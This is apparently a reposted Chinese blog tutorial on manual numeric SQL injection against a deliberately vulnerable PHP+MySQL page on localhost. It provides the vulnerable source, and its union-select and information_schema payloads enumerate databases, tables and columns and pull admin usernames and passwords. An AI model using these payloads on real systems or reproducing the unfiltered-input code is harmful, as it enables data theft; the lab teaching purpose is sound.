1. 程式人生 > >SQL注入系列之PHP+Mysql手動注入(一)----數字型

SQL注入系列之PHP+Mysql手動注入(一)----數字型

1.常見的幾種SQL注入

1.數字型
2.字元型
3.文字型
4.搜尋型(POST/GET)
5.cookie注入
6.SQL盲注
7.編碼注入
8.寬位元組注入

2.測試原始碼


頁面原始碼:

<html>
<head> 
<meta charset="utf-8" /> 
<title>sql注入測試</title> 
<style> 
body{text-align:center} 
</style> 
</head> 
<body> 
<br />
<?php
	include "./conn.php";
	
[email protected]
$_GET['id'];//id未經過濾 if($id==null){ $id="1"; } mysql_query('set names utf8'); $sql = "SELECT * FROM sqltest WHERE id='$id'"; $result = mysql_query($sql,$conn); if(!$result) { die('<p>error:'.mysql_error().'</p>'); } $row = mysql_fetch_array($result); if (!$row){ echo "該記錄不存在"; exit; } ?> <font size="10" face="Times">sql注入測試</font> <table border='2' align="center"> <tr> <td>id:<?php echo $id;?></td> </tr> <tr> <td>標題:<?php echo $row['title'];?></td> </tr> <tr> <td>內容:<?php echo $row['content'];?></td> </tr> <tr> <td>sql內容: <?php echo $sql;?></td> </tr> </table> <a href='./admin.php'>點我進入後臺</a>       <a href='http://pmd5.com/'>md5解密可以點我</a> </body> </html>


3.MySQL報錯注入基本流程:

1.判斷sql注入
2.資料庫許可權判斷
3.判斷欄位數
4.查詢庫名
5.查表名
6.查欄位
7.查資料

1.判斷sql注入

○提交單引號'


○and大法和or大法

我們在引數後面加上 and 1=1


和and 1=2看看有什麼不同。


可以發現and 1=1 返回了資料,而and 1=2沒有,這是由於1=1是一個為真的條件,前面的結果是true,true and true 所以沒有任何問題,第二個 1=2 是個假條件, true and false還是false,所以並沒有資料返回。

接下來看下or、or就是或者,兩個都為假,才會為假,只要一個為真就為真,把語句後面的id改成一個不存在的,後面接上or 1=1,這樣的話就成了 false or true,結果為true。



○加法和減法

加法和減法的使用要區別是數字型還是字元型的注入、然後來區分了、可以看他後面的引數如果是數字、就一定是數字型、如果是一些字母的話就是字元型注入。

列:

select * from user where id=4  //數字型注入 sql 語句
select * from user where username=’fendo’ //字元型注入 sql 語句

1.加法

我們在引數輸入1+1,看看返回的資料是不是id等於2的結果,這裡注意一下+號在SQL語句是有特效含義的,所以我們要對其進行url編碼,最後也就是%2b。


2.減法

減法是同樣的道理,不過不需要對-號進行url編碼了


2.資料庫許可權判斷

and ord(mid(user(),1,1))=114 


解釋:

判斷ROOT許可權 返回正確存在 


或 and (select count(*) from mysql.user)>0

解釋:

and (select count(*) from mysql.user)>0   /* 如果結果返回正常,說明具有讀寫許可權。
and (select count(*) from mysql.user)>0   /* 返回錯誤,應該是管理員給資料庫帳戶降權了。


3.判斷欄位數

常用的兩種猜解方式:

方法1、用union聯合查詢:and 1=1 union select 1,2,3,4,5…… 或 union select null,null,null.....

UNION SELECT 聯合查詢:可以用於一個或多個SELECT的結果集,但是他有一個條件,就是兩個select查詢語句的查詢必須要有相同的列才可以執行,利用這個特性我們可以進行對比查詢,也就是說當我們union select的列與它查詢的列相同時,頁面返回正常。在and後面加上1=1或1=2的作用後面會講。

列:

當欄位為2時頁面返回錯誤


為3時,顯示正確


為4時錯誤


說明欄位數就是3,輸入的數大於或小於欄位數時都會報錯。使用 union select null,null,null 是一樣的



方法2、用order by 查詢“order by * -- order by  

order by查詢:在sql語句中是對結果集的指定列進行排序,比如我們想讓結果集按照第一列排序就是 order by 1 按照第二列排序 order by 2 依次類推,按照這個原理我們來判斷他的欄位數,如果我們按照他的第1列進行排序資料庫會返回正常,但是當我們按照第100列排序,但是資料庫中並不存在第100列,從而報錯。 

列:

當我們測試到4時資料庫報錯


說明該表只有3個欄位


******************************************************這裡有兩個問題**********************************

第一個:大部分程式只會呼叫資料庫查詢的第一條語句進行查詢然後返回(我們這個也是),而通過聯合查詢出的資料中,我們想看到的資料是在第二條語句中,如果我們想看到我們想要的資料有兩種方法,第一種是讓第一條資料返回假,第二種是通過sql語句直接返回我們想要的資料。


第一種:我們讓第一個查詢的結果始終為假

http://localhost/sqls/index.php?id=2  and 1=2 union select null,null,null


什麼都沒有顯示???? 因為這使用的null,所以返回的就是null (*^__^*)

第二種:通過limit語句,limit在mysql中是用來分頁的,通過他可以從查詢出來的資料中獲取我們想要的資料

limit語法:

LIMIT [offset] rows | rows OFFSET offset

LIMIT 子句可以被用於強制 SELECT 語句返回指定的記錄數。LIMIT 接受一個或兩個數字引數。引數必須是一個整數常量。如果給定兩個引數,第一個引數指定第一個返回記錄行的偏移量,第二個引數指定返回記錄行的最大數目,初始記錄行的偏移量是 0(而不是 1)。

列:

SELECT * FROM table LIMIT 5,10; // 檢索記錄行 6-15

在地址後面加入以下程式碼


http://localhost/sqls/index.php?id=2  union select null,null,null limit 1,1


返回也是空,因為這使用的null,所以返回的還是null。

第二個:哪個列中的資料是在頁面中顯示出來的,有一些列中的資料只是用於後臺程式處理,並不會在前臺顯示,所以我們需要判斷哪個欄位我們可以看到。所以,我們要通過數字代替NULL進行查詢,來確定哪些欄位會在頁面中顯示。這也就是為什麼我們不一開始就用數字而用null,因為union select 不僅要求列的數量相同 同時資料型別也要相似。

http://localhost/sqls/index.php?id=2  union select 1,2,3 limit 1,1


4.查詢庫名

版本大於5.0的mysql的information_schema庫中儲存著mysql的所有資料庫和表結構資訊,所以可以利用information_schema庫快速注入。

通過下面的語句可以判斷資料庫版本

and ord(mid(version(),1,1))>51


解釋1: 確認資料庫版本, 51是ASCII碼3 正確則>4.0 錯誤則<4.0,當版本大於3.0時才能使用union方法;
解釋2:ord()是mysql的函式用於獲取二進位制碼;
解釋3:mid()是mysql的函式用於截位操作;
解釋4:version()是mysql的函式用於獲取當前資料庫的版本;

http://localhost/sqls/index.php?id=2  and ord(mid(version(),1,1))>51


顯示正確,我這用的的mysql版本是大於5.0的


下面的測試我把程式碼改了下、方便檢視所有的資料庫名:

<html>
<head> 
<meta charset="utf-8" /> 
<title>sql注入測試</title> 
<style> 
body{text-align:center} 
</style> 
</head> 
<body > 

<br />
<?php
	include "./conn.php";
	[email protected]$_GET['id'];//id未經過濾
	if($id==null){
		$id="1";
	}
	mysql_query('set names utf8');
	$sql = "SELECT * FROM sqltest WHERE id=$id";//定義sql語句並組合變數id  
	$result = mysql_query($sql,$conn);//執行sql語句並返回給變數result 
	if(!$result)
    {
        die('<p>error:'.mysql_error().'</p>');
    }
	echo "<font size='10' face='Times'>sql注入測試</font></br>";
	echo "<table border='2'  align=\"center\">";
	echo "<tr><td>id</td>";
	echo "<td>標題</td>";
	echo "<td>內容</td>";
	echo "</tr>";
	//遍歷查詢結果
         while ($row = mysql_fetch_array($result))
	{
	if (!$row){
		echo "該記錄不存在";
		exit;
	}
			echo "<tr>";
			echo "<td>".$row[0]."</td>";
			echo "<td>".$row[1]."</td>";
			echo "<td>".$row[2]."</td>";
			echo "</tr>";
	}
	echo "<td  colspan=\"3\" >sql語句: >".$sql."</td>";
	echo "</table>";
	?>
<a href='./admin.php'>點我進入後臺</a>      
<a href='http://pmd5.com/'>md5解密可以點我</a>
</body> 
</html> 


方法一:

可以直接使用mysql自帶函式database()查詢得到資料庫名

http://localhost/sqls/index.php?id=2 union select 1,database(),3 limit 1,1


方法二:

使用以下語句語句得到所有的資料庫名

http://localhost/sqls/index.php?id=2 union select null,schema_name,null from information_schema.schemata 


還可以獲取第一個庫名:

http://localhost/sqls/index.php?id=2 union select null,schema_name,null from information_schema.schemata limit 0,1


並沒有顯示資料庫名而顯示的是第一條語句查詢出來的結果。在union前面加上and 1=2,就能顯示出來了。

http://localhost/sqls/index.php?id=2 and 1=2 union select null,schema_name,null from information_schema.schemata limit 0,1



獲取第二個庫名:

http://localhost/sqls/index.php?id=2 and 1=2 union select null,schema_name,null from information_schema.schemata limit 0,2



以此類推。

5.查表名

在MySQL中,表名存放在information_schema資料庫下tables表table_name欄位中、查表名我們主要用到的是TABLES表。

方法一:

用group_concat它可以返回查詢的所有結果,因為我們需要通過命名判斷該我們需要的敏感資料。

group_concat()會計算哪些行屬於同一組,將屬於同一組的列顯示出來。要返回哪些列,由函式引數(就是欄位名)決定。分組必須有個標準,就是根據group by指定的列進行分組。

http://localhost/sqls/index.php?id=2 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'


test資料庫中就這兩張表、這裡我們的目標是sqltest表、因為當前的資料就是從sqltest表中獲取的。


方法二:

使用下面的語句也是可以查出來的

http://localhost/sqls/index.php?id=2 union select null,table_name,null from information_schema.tables where table_schema='test'


6.查欄位


在MySQL中,欄位名存放在information_schema資料庫下columns表column_name欄位中,這裡使用的是columns表。

方法一:

http://localhost/sqls/index.php?id=2 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='test' and table_name='sqltest'


也可以檢視admin表中的欄位。

http://localhost/sqls/index.php?id=2 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='test' and table_name='admin'

得到欄位id,user,pwd。

方法二:

http://localhost/sqls/index.php?id=2  union select null,column_name,null from information_schema.columns where table_schema='test' and table_name='admin'


7.查資料

最終想得到的就是欄位裡的內容了、前面的資料庫名、表名都獲得了、獲取值就很簡單了。

方法一:

查詢sqltest表:


查詢admin表:

http://localhost/sqls/index.php?id=2 and 1=2 union select 1,group_concat(id,user,pwd),3 from admin


方法二:

查詢sqltest表:

http://localhost/sqls/index.php?id=2 union select null,title,content from sqltest


查詢admin表:

http://localhost/sqls/index.php?id=2 union select id,user,pwd from admin


方法三:

查詢admin表:

http://localhost/sqls/index.php?id=2 and 1=2 union select 1,2,concat(user,0x3c,pwd) from admin


相關推薦

SQL注入系列PHP+Mysql手動注入()----字型

1.常見的幾種SQL注入 1.數字型 2.字元型 3.文字型 4.搜尋型(POST/GET) 5.cookie注入 6.SQL盲注 7.編碼注入 8.寬位元組注入 2.測試原始碼 頁面原

SQL注入系列ASP+ACCESS手動注入(二)----Cookie注入

一、簡介 Cookie的定義是這樣的:Cookie是在HTTP協議下,伺服器或指令碼可以維護客戶工作站上資訊的一種方式。通常被用來辨別使用者身份、進行session跟蹤,最典型的應用就是儲存使用者的賬號和密碼用來自動登入網站和電子商務網站中的“購物車”。 Cookie注入

DVWAphp+mysql手工注入

DVWA 頁面 輸入user ID ,輸入 1。看到如下資訊 在此點嘗試注入,輸入‘ ’ ’,判斷其注入型別。 初步判斷是數字型注入,在輸入 " 1 or 1=1 ",嘗試遍歷資料表 判斷字元型:" 1’ or ‘1’='1 " 利用 order b

Mysql SQL優化系列——執行計劃連線方式淺釋

關係庫SQL調優中,雖然思路都是一樣的,具體方法和步驟也是大同小異,但細節卻不容忽視,尤其是執行計劃的具體細節的解讀中,各關係庫確實有區別,特別是mysql資料庫,與其他關係庫的差別更大些,下面,我們僅就SQL執行計劃中最常見的連線方式,做以下簡要介紹和說明。 system : a syst

PHP+MySQL手工注入語句大全 MySQL手工注入語句總結

暴欄位長度 Order by num/* 匹配欄位 and 1=1 union select 1,2,3,4,5…….n/* 暴欄位位置 and 1=2 union select 1,2,3,4,5…..n/* 利用內建函式暴資料庫資訊 version() databas

SQL注入實戰————1、MySQL手工注入實戰

SQL注入實戰 靶場地址:http://219.153.49.228:48204/show.php?id=MQ== 首先可以看到該URL中存在一個引數“MQ==”,從引數的格式來看是通過了base64進行了加密,那麼我們可以對其進行base64解密 發現解密之後的引

asp.net core 系列Dependency injection(依賴注入)

這篇文章主要講解asp.net core 依賴注入的一些內容。 ASP.NET Core支援依賴注入。這是一種在類和其依賴之間實現控制反轉的一種技術(IOC). 一.依賴注入概述 1.原始的程式碼 依賴就是一個物件的建立需要另一個物件。下面的MyDependency是應用中其他類需要的依賴: p

SQL Server系列 刪除大量

創建 base res ram 表數 mit 解決 shrink creat 一、寫在前面 - 想說愛你不容易   為了升級數據庫至SQL Server 2008 R2,拿了一臺現有的PC做測試,數據庫從正式庫Restore(3個數據庫大小誇張地達到100G+),而機器內

反向教學系列——PHP入門(

water oui 版本 名稱 令行 完全 技術 地址 安裝目錄 php是什麽?其實就是html的功能加強版。網頁本來在服務器上,如果客戶端問服務器索取網頁文件(xxx.html),那麽服務器就會把客戶端指定的網頁發回去。(根據我的理解,)php是因“表單”而誕生的,所謂表

踩坑系列 php的curl

前言 今天,準確的說是前幾天,對接其他部門的的介面,於是乎調了前人封裝的curl的函式。奇怪的是:用post的方式curl進行請求竟然一直報錯,而用命令列curl -d “parms” url是可以成功的。難道“祖傳”的curl函式用錯了?? 正文 原

Flink讀寫系列-讀mysql並寫入mysql

在Flink文件中,提供connector讀取源資料和把處理結果儲存到外部系統中。但是沒有提供資料庫的connector,如果要讀寫資料庫,官網給出了非同步IO(Asynchronous I/O)專門用於訪問外部資料,詳細可看: 還有一種方法是繼承RichSourceF

看就懂系列 php中的生產者and消費者模式

前言 在工作中常常聽到某某大牛之間的交談會涉及到,xx消費者啊啥的,到底什麼大牛之間講的是什麼? 這篇文章主要解決三個問題: 1.到底什麼是生產者和消費者,以及它們之間的故事 2.它們之間靠什麼交流 3.應用場景 正文 一、什麼是生產者和消費者,以

Linux系列安裝MySQL

環境:CentOS 7以上 在CentOS中預設安裝有MariaDB,但是我們需要的是MySQL,安裝MySQL可以覆蓋MariaDB MariaDB資料庫管理系統是MySQL的一個分支,主要由開源社群在維護,採用GPL授權許可。開發這個分支的原因之一是:甲骨文公

DLL注入技術劫持程序建立注入

劫持程序建立注入原理是利用Windows系統中CreateProcess()這個API建立一個程序,並將第6個引數設為CREATE_SUSPENDED,進而建立一個掛起狀態的程序,利用這個程序狀態進行遠端執行緒注入DLL,然後用ResumeThread()函式恢復程序。1.

mysql系列5.mysql備份恢復

備份資料: mysqldump #mysqldump -uroot -p123456 test > /test_bak.sql #egrep -v "#|\*|--|^$" /test_bak.sql 指定對應字符集 #mysqldump -uroot -p1234

php mysql jquery ajax 查詢據庫三級聯動

message name new 獲取 errno app get comment dem 1、php 頁面打開直接展示第一個select option中的數據 2、當第一個下拉列表選中的內容發生改變的時候,查詢數據庫填充第二個下拉列表 3、當第二個下拉列表選中的內容發

mongo 3.4分片集群系列六:詳解配置據庫

初始化 kpi 更新 並且 color tag 成員 gin sha 這個系列大致想跟大家分享以下篇章(我會持續更新的↖(^ω^)↗): 1、mongo 3.4分片集群系列之一:淺談分片集群 2、mongo 3.4分片集群系列之二:搭建分片集群--哈希分片 3、mongo

PHP Mysql-插入多條

rollback 初始化 john 風險 else mys error: 數據庫 精度 PHP MySQL 插入多條數據 使用 MySQLi 和 PDO 向 MySQL 插入多條數據 mysqli_multi_query() 函數可用來執行多條SQL語句。 以下實

Docker系列CentOS7安裝Docker(

add 程序 發布 更新 介紹 entos star alt ice 0、前言 整體架構目錄:ASP.NET Core分布式項目實戰-目錄 一、瞎扯淡(只講有用的) 感興趣的同學可以上網搜索一下docker具體的介紹。我這邊主要介紹偏實戰的內容,不喜勿噴,有問題也請

T-SQL實用查詢查詢字段所屬的據庫表

type -s 實用 pan and bject 查詢 column inner SELECT b.name as TableName,a.name as columnname From syscolumns a INNER JOIN sysobjects b ON a.